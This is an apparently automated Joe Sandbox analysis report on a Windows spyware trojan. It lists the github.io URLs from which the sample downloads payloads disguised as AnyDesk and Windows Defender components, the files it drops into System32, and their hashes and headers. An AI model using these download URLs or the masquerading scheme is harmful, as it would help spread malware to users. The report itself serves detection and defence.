https://duy-thanh.github.io/file/MicrosoftWindowsDefenderCoreService.exev	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exedll	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskUpdateService.exe3l	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskUpdateService.exeC:	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtb.io/file/AnyDeskCrashHandler.exe	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtX	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381038957.000001F7B17DA000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17B0000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exetup%l	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txt9c4a2f8b514.cdf-msMo	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exetupz	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllz	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtC:	MicrosoftWindowsDefenderCoreService.exe, 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387459125.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dll(l	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A06000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtb.io/file/version.txteService.exe3l	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txte1	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381038957.000001F7B17DA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txt.dll	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386691306.000001F7B1727000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllao	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2253907648.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskS	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskUpdateService.exedf-msMo	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.execdf-ms	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskUpdateService.exeml	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txt%l	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2580698857.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dll8l	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txt8Y	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskUpdateService.exeup	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtb.io/file/version.txt3l	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllhttps://duy-thanh.github.io/file/AnyDesk	AnyDeskUpdateService.exe, 00000088.00000002.2580124899.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllRo-	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2253907648.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2580698857.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exey	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllmsml	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegratP	AnyDeskUpdateService.exe, 00000020.00000002.3386537801.0000009561CFD000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtt	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170001507.00000276209D5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381038957.000001F7B17DA000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386691306.000001F7B1727000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exez	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegratL	AnyDeskUpdateService.exe, 00000020.00000002.3385629324.0000009560FAC000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtr	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17B0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exetup	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.199.110.153	duy-thanh.github.io	Netherlands		54113	FASTLYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521703
Start date and time:	2024-09-29 02:25:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	283
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
Detection:	MAL
Classification:	mal76.evad.winEXE@545/20@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 55 Number of non-executed functions: 207
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Simulations

Behavior and APIs

Time	Type	Description
20:26:47	API Interceptor	169422x Sleep call for process: AnyDeskCrashHandler.exe modified
20:26:51	API Interceptor	370x Sleep call for process: AnyDeskUpdateService.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.110.153	http://bankmallat.github.io/	Get hash	malicious	Unknown	Browse	bankmallat.github.io/
	http://mallika1618.github.io/project1	Get hash	malicious	HTMLPhisher	Browse	mallika1618.github.io/project1
	http://unusualactivityaccountpages12.github.io/	Get hash	malicious	HTMLPhisher	Browse	unusualactivityaccountpages12.github.io/
	http://steephan2003.github.io/	Get hash	malicious	HTMLPhisher	Browse	steephan2003.github.io/
	http://facebook-web-cloud.github.io/	Get hash	malicious	HTMLPhisher	Browse	facebook-web-cloud.github.io/
	http://unusualmanagementaccount.github.io/	Get hash	malicious	HTMLPhisher	Browse	unusualmanagementaccount.github.io/
	http://document001.github.io/	Get hash	malicious	HTMLPhisher	Browse	document001.github.io/
	http://vamsirednam.github.io/Netflix	Get hash	malicious	HTMLPhisher	Browse	vamsirednam.github.io/Netflix
	http://sreekanthv1995.github.io/netflix_clone	Get hash	malicious	HTMLPhisher	Browse	sreekanthv1995.github.io/netflix_clone
	http://steveidiot.github.io/BharatIntern-WebDevelopment-HomepageOfNetflix	Get hash	malicious	HTMLPhisher	Browse	steveidiot.github.io/BharatIntern-WebDevelopment-HomepageOfNetflix

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	http://pub-ca8a3ace07094ee9967971c12a96a935.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://shahbazni.github.io/re-verify-yourself-profile/index.html	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	185.199.108.153
	http://yhusbssgsuh.wixsite.com/my-site	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
	http://pub-6f594b43277e4071a0c14266387a1ea8.r2.dev/fdsaghjk.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://jesswhiteus.github.io/Awais-link/index.html	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	http://pub-39ac7434165d45eda536266ee7865b38.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://pub-350a846a0e7e4389a5b4fd3d333108f4.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://ingresar-aqui1201.weebly.com/	Get hash	malicious	Unknown	Browse	151.101.129.49
	http://cancelarpedidoaqui003.weebly.com/	Get hash	malicious	Unknown	Browse	199.232.188.157

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	app__v7.1.7_.msi	Get hash	malicious	Unknown	Browse	185.199.110.153
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	185.199.110.153
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.199.110.153
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	185.199.110.153
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.199.110.153
	file.exe	Get hash	malicious	Vidar	Browse	185.199.110.153
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	185.199.110.153
	CpMQGUserR.exe	Get hash	malicious	Unknown	Browse	185.199.110.153
	Installer.msi	Get hash	malicious	Unknown	Browse	185.199.110.153
	CpMQGUserR.exe	Get hash	malicious	Unknown	Browse	185.199.110.153

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	143872
Entropy (8bit):	7.873862373980263
Encrypted:	false
SSDEEP:	3072:3fTw5T+B1/TPchSZzA5+fOZmaIJhWLQkD7V2EO0EnGfz9:3U5T+B1LkhSROZmRQLQkDRPEG
MD5:	9CEBC167FF7C8AE3CCFFB718FD7B52D0
SHA1:	8F5FA44298E5498D1CA696DC909093E26F4B5661
SHA-256:	EA5CD105B600E7606DE1CBCFE813A7845A3BE878B1E85DBC686871356FAAAC29
SHA-512:	CED1F79DD967CBBFEA8D08768EEBD8BD1B319B6EE5726BCF097AE375001DBF86C9A703CE7821468351CCC453C261598C6AC69EB9EB2420E72C3BDD33C3E57C5D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........7..od..od..od..le..od..je..od..ke..od..le..od..ke..od..je.od..ne..od..nd.od..fe..od...d..od...d..od..me..odRich..od........................PE..d...]..f.........."....).0...........!.........@.............................@............`................................................. 6..\....0.. ........&..........\|7.......................................$..@...........................................UPX0....................................UPX1.....0.......&..................@....rsrc........0.......*..............@..............................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AnyDeskShellIntegration[1].dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	7.75347884612182
Encrypted:	false
SSDEEP:	1536:L3Yoj7FMTP8V98VHTXVAwkyUdUdTKtouDSeO6CfdRPGj6o8aCA:jYoj7FMTQ98VHTmwF7NKmueeCfHPGm6
MD5:	6E948E7425A1693B64951A8EB2A846C7
SHA1:	D12B91D1CFA5CEFC1EFE917F1B893BCCD1210896
SHA-256:	6D7DF6C7605316BE49804840649D26FF1FBD2F9208A0330EF87247920EDB93FE
SHA-512:	0DCCCB38E919A345DABEE0F40FCF526239EA6D3F4289FC16F5BF6C2BF73A5B564D643BCC522BB63B97E574F59D732640AFD8F20A98BCBDD10F2368E515BF8D3B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......tn.e0.s60.s60.s6{wp75.s6{wv7..s6{ww7:.s6 .p79.s6 .w7>.s6 .v7..s6{wr73.s60.r6i.s6x.z72.s6x..61.s60..61.s6x.q71.s6Rich0.s6........PE..d...<..f.........." ...)......... .......0................................................`.........................................................................................................................8...@...........................................UPX0..... ..............................UPX1.........0......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\AnyDeskCrashHandler[1].exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	7.756024662478089
Encrypted:	false
SSDEEP:	1536:td3pwkJ+vSKrCdQN8ZAO/IYeBcWCgTumOC9N9b:TpwkAEQN8ZAOAYs2gTumOCJ
MD5:	8EB4565C6C7096C17AC94718B2A3724B
SHA1:	1BCEC351F712F041E4B23545E9A14C421EFFCFD3
SHA-256:	C700DC3BB675FB60DD69D26ED9628616C97B64AF7FAAEFF92F6C65E7F4F2B8FE
SHA-512:	5BA97CE8B19EFA125EFB40AAE9B1E1C9FB6A7E45B9261BD8327988C8C5474A5E27AACE3E0CA77A0767740CAEB7BF2060490DC77DEBA7EEE474F6F3A998B1F0A6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................?..........g.....g.....g....................f......f......F.....f.....Rich....................PE..d...y..f.........."....).........P...:...`.....@.............................P............`.................................................@E.......@..@.......\........... F.......................................<..@...........................................UPX0.....P..............................UPX1.........`......................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\AnyDeskShellIntegration.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	7.75347884612182
Encrypted:	false
SSDEEP:	1536:L3Yoj7FMTP8V98VHTXVAwkyUdUdTKtouDSeO6CfdRPGj6o8aCA:jYoj7FMTQ98VHTmwF7NKmueeCfHPGm6
MD5:	6E948E7425A1693B64951A8EB2A846C7
SHA1:	D12B91D1CFA5CEFC1EFE917F1B893BCCD1210896
SHA-256:	6D7DF6C7605316BE49804840649D26FF1FBD2F9208A0330EF87247920EDB93FE
SHA-512:	0DCCCB38E919A345DABEE0F40FCF526239EA6D3F4289FC16F5BF6C2BF73A5B564D643BCC522BB63B97E574F59D732640AFD8F20A98BCBDD10F2368E515BF8D3B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......tn.e0.s60.s60.s6{wp75.s6{wv7..s6{ww7:.s6 .p79.s6 .w7>.s6 .v7..s6{wr73.s60.r6i.s6x.z72.s6x..61.s60..61.s6x.q71.s6Rich0.s6........PE..d...<..f.........." ...)......... .......0................................................`.........................................................................................................................8...@...........................................UPX0..... ..............................UPX1.........0......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\AnyDeskShellIntegration_Update.dll

Download File

Process:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	7.75347884612182
Encrypted:	false
SSDEEP:	1536:L3Yoj7FMTP8V98VHTXVAwkyUdUdTKtouDSeO6CfdRPGj6o8aCA:jYoj7FMTQ98VHTmwF7NKmueeCfHPGm6
MD5:	6E948E7425A1693B64951A8EB2A846C7
SHA1:	D12B91D1CFA5CEFC1EFE917F1B893BCCD1210896
SHA-256:	6D7DF6C7605316BE49804840649D26FF1FBD2F9208A0330EF87247920EDB93FE
SHA-512:	0DCCCB38E919A345DABEE0F40FCF526239EA6D3F4289FC16F5BF6C2BF73A5B564D643BCC522BB63B97E574F59D732640AFD8F20A98BCBDD10F2368E515BF8D3B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......tn.e0.s60.s60.s6{wp75.s6{wv7..s6{ww7:.s6 .p79.s6 .w7>.s6 .v7..s6{wr73.s60.r6i.s6x.z72.s6x..61.s60..61.s6x.q71.s6Rich0.s6........PE..d...<..f.........." ...)......... .......0................................................`.........................................................................................................................8...@...........................................UPX0..... ..............................UPX1.........0......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\WindowsUpdate.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.9477027792200903
Encrypted:	false
SSDEEP:	3:WhXVXw6:WBVg6
MD5:	6C821BFDE63D9B4473563C6A3CB6E61B
SHA1:	3B0EC0C302AA7DEAE892825DE4CED93E4C5B7E55
SHA-256:	13DCA171E02A846B9203E79CBCEAF8F7F606ECB3BCDC814DDBE4665186087931
SHA-512:	CDEA2098CFFAD892642F77B59413844612759D1A65C2D6CF46F0F6C12E1CBCD31AC0D6D542F81671A8329306429D56999C8952F439BE4F8D4BC4741C78551AB6
Malicious:	false
Preview:	version=20240913..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll

Download File

Process:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	7.75347884612182
Encrypted:	false
SSDEEP:	1536:L3Yoj7FMTP8V98VHTXVAwkyUdUdTKtouDSeO6CfdRPGj6o8aCA:jYoj7FMTQ98VHTmwF7NKmueeCfHPGm6
MD5:	6E948E7425A1693B64951A8EB2A846C7
SHA1:	D12B91D1CFA5CEFC1EFE917F1B893BCCD1210896
SHA-256:	6D7DF6C7605316BE49804840649D26FF1FBD2F9208A0330EF87247920EDB93FE
SHA-512:	0DCCCB38E919A345DABEE0F40FCF526239EA6D3F4289FC16F5BF6C2BF73A5B564D643BCC522BB63B97E574F59D732640AFD8F20A98BCBDD10F2368E515BF8D3B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......tn.e0.s60.s60.s6{wp75.s6{wv7..s6{ww7:.s6 .p79.s6 .w7>.s6 .v7..s6{wr73.s60.r6i.s6x.z72.s6x..61.s60..61.s6x.q71.s6Rich0.s6........PE..d...<..f.........." ...)......... .......0................................................`.........................................................................................................................8...@...........................................UPX0..... ..............................UPX1.........0......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe

Download File

Process:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	161792
Entropy (8bit):	7.874759486819471
Encrypted:	false
SSDEEP:	3072:s3pAiuZ03rXGkMTCyymEUoRBiaQaS/dqG9fvX7ZYl3QamlPx6AkyWx:obuZ6rXRW/HRag/dqs7ZCQ5Z6Ak/
